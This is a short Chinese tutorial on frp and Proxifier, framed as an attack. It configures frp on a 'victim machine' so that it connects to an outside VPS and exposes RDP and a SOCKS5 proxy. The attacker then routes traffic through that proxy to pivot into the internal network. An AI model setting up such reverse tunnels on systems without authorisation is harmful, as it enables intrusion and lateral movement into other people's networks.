阅读量:0
一、什么是Frp和Proxifier
Frp(Fast Reverse Proxy):是一款高性能的反向代理应用,可以帮助你将内网服务暴露到外网。
Proxifier:是一款网络代理软件,允许网络应用通过HTTP、SOCKS代理连接互联网。
二、准备工作
- 一台公网服务器(可以是云服务器)。
- 一台需要穿透的内网机器。
- 安装Frp和Proxifier。
- 123.1.0.1与内网电脑相通。
三、Frp安装与配置
1. 在VPS上配置Frp
1.1 下载Frp
前往Frp GitHub页面,下载适合你操作系统的版本。
1.2 解压并配置服务器端
- 将下载的文件解压,进入解压目录。
- 编辑
frps.toml
配置文件:
[common]
bind_port = 7000
1.3 启动Frp服务器
./frps -c frps.toml
2.在受害机器上配置Frp
2.1 下载Frp
同样地,前往Frp GitHub页面,下载适合你操作系统的版本。
2.2 解压并配置客户端
- 将下载的文件解压,进入解压目录。
- 编辑
frpc.toml
配置文件:
serverAddr = "124.3.157.4" serverPort = 7000 [[proxies]] name = "test-tcp" type = "tcp" localIP = "127.0.0.1" localPort = 3389 remotePort = 6000 [[proxies]] name = "socks5" # 代理的名称,用户自定义,用于标识不同的代理服务 type = "tcp" # 代理的类型,这里定义为TCP协议 remotePort = 6001 # 远程服务器上将开放的端口,外部通过此端口访问该代理服务 [proxies.plugin] type = "socks5" # 代理的插件类型,这里指定为SOCKS5协议
2.3 启动Frp客户端
./frpc -c frpc.toml
四、攻击者配置Proxifier
1.配置代理规则
(1)配置文件》代理服务器》地址》协议
(2)配置文件》代理规则》添加》选择需要选择的程序》选择代理服务器》确定
2.测试内网穿透
下图为测试失败
五、常见问题和故障排除
- Frp客户端无法连接服务器:
- 检查服务器IP和端口配置是否正确。
- 确保服务器防火墙允许Frp端口通信。
- 代理设置不生效:
- 确认Proxifier代理规则配置正确。
- 检查代理服务器地址和端口是否正确。